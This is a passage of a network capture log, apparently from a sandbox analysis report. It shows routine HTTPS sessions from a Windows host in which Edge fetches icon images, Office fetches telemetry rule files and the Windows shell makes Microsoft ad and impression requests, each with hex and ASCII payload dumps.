2024-11-27 23:19:45 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49853	13.107.246.40	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:45 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:46 UTC	523	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:46 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: fcdf0dc0-001e-004e-0122-41ade2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T231945Z-174f7845968kvnqxhC1EWRmf3g0000000gf0000000004ucv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-27 23:19:46 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49856	13.107.246.40	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:45 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:45 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:45 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 843d88b3-801e-005f-1a7f-409af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T231945Z-174f7845968cdxdrhC1EWRg0en0000000xf000000000py2h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 23:19:45 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:45 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:45 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231945Z-174f7845968kdththC1EWRzvxn00000009ug00000000rxy5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:46 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:46 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:46 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: c6f16635-c01e-0034-4354-402af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231946Z-174f7845968l4kp6hC1EWRe8840000000xsg00000000mfgs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:46 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:46 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231946Z-174f7845968kdththC1EWRzvxn00000009xg00000000e00s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:46 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:47 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:46 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: e297b188-201e-0000-7a1b-41a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231946Z-174f7845968qj8jrhC1EWRh41s0000000xhg00000000baaz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 23:19:47 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49866	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:47 UTC	2591	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T231943Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=1155e51770274ec4a39b99b2da451f86&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604381&metered=false&nettype=ethernet&npid=sc-88000045&oemName=figysj%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=figysj20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604381&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVn6XcywMKzESLTp8a1wABtPIgH6KdsDLjZ8hpGyDxS7xMSGavP2IDDNkzCdlQIDYoGUClSm3k2AbLdxDEnd7yc057d4c4jEbEk6LSz35MZLAQevgKvYq+AmXsm8OLDPIWMxdrJCQwwBdXbZSGDuozqZQXuqN0lEHiJyxczZLKnH5Py0UDzQTr2S4sjknSwxiN/AGnaIouETb7kyQi7Zw+mo+9B8SAiOy9sVWtMK3g9TSOrI6xH552g0cag0HirGSfXtMBasAvh4L0lbQG+mCrF6FQhOZVW1kJjqgjzI/DmOolxgF3xqk4+FbrarE7x9M362oopTg4c6M81QpkZNXMoQZgAAECZPbvdwOyZvoOrsV6mxhuqwAXM3skEsVWs4ZkOruZ6fiQyNkVA01BvnMTW3dfbyWgpopb7pMpC1UXFsl2nUHbGz56QH1/AKtIhfooHsIJA/XCgI90HDxUKhGKHPa8Pm5+BAJdtwfolU8SPVnhj/yiubalrIis4ZguiohXU6Q3cfQmGWo172cyc9J7ewGoSXQ90gjbVflW55beYtn3wid5lVaSxqNQn1ddzUO5we5KUgpxjbptJW8wGFbuh6Sk4zf+e4H9bAMXUHq1iys2TTpZeTLvBmiBCW6GetQRMgzo2rL2WMM9+1ng0gG4MF2HKnj3RSEwl44c77ANowU3tfaGFvqeCNHwSEsGmTm6+Td5fC8IhB/LVucgjAoVe23Zl5FA1/4wyc34mxP4GbKJUbbZ3XnocEtR6FyPiCHjS77PU3noNm2TZwA77bMZ/WD4v+9Dj7rikce9F+0iSTEJTA7HBC0+VTUu1vMILWEOyZ8ZF28Up7U/PWmDPmPKCzkMEVXucRoqFfim2opFM6J3FvDJCrX00fRYTmd+D/NqZblQGJFz4f5iapQrF20hnfO5zKoGyNhJ8eYFozzm49BNsH1JAm19gB&p= Cache-Control: no-cache MS-CV: r6eEE6CBXkmxMzGA.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-27 23:19:47 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2943 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: kNaCRzQv3B4+58vvZ5LdDJyeLLUqFHCksX1MC6ZVKeHq1GIiedMGsoImJrgS6x9UuyY2e7j/qLsmWt8Y0iV6IeroSgdSGhHoIQL5ZIG5CcyisV0qrshk+I57I5tlFOmU8KtFyQVJYPqGrljJ8VmoT1pB3SzccdpuhOwmYBD4Bf26NL+zk7UIp5BEyD77quM3NT6gfCpuyPbVbT5kfczh4rsBKJsl+ygl6ktWA6eU5cRv5Q2uUeSz2pKcD3zOnpGWsaq9o5qhZwQmTUg3QnwlxVv58/iplN7B6LWJLDQVMtVyl2Rkk35Ue6hKWrPptvH9Bf7mRa77urO3DfvIElTbnQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 23:19:47 GMT Connection: close
2024-11-27 23:19:47 UTC	2943	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49869	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:47 UTC	831	OUT	GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8_0vLehrqSEROoVPvvnJxazVUCUwm4cgj27TTdNqy3SLNFvxgUuUx7qqpB-mDi4VawEzddi-23963YluPeV9pfBSfH6CRbLgqohmOSYyAf28TBdmhEoufXQes7eNmO4Au5u-IHbmG5_Np2gkipdYR88JN1lVA4Q8CBJ9FZfEtbgQHYqEj%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3D9c6ed1435f7d1ac716c3b604f788265e&TIME=20241127T231943Z&CID=531538185&EID=531538185&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive
2024-11-27 23:19:47 UTC	862	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=150BA1CB6AB168093499B48F6BD36981; domain=.bing.com; expires=Mon, 22-Dec-2025 23:19:47 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=g.bing.com; expires=Wed, 04-Dec-2024 23:19:47 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: DD4B2DA008094885B58D7AF925F4A1EB Ref B: EWR30EDGE0909 Ref C: 2024-11-27T23:19:47Z Date: Wed, 27 Nov 2024 23:19:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:47 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:47 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231947Z-174f7845968px8v7hC1EWR08ng0000000xrg00000000sffh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:47 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49871	13.107.246.40	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
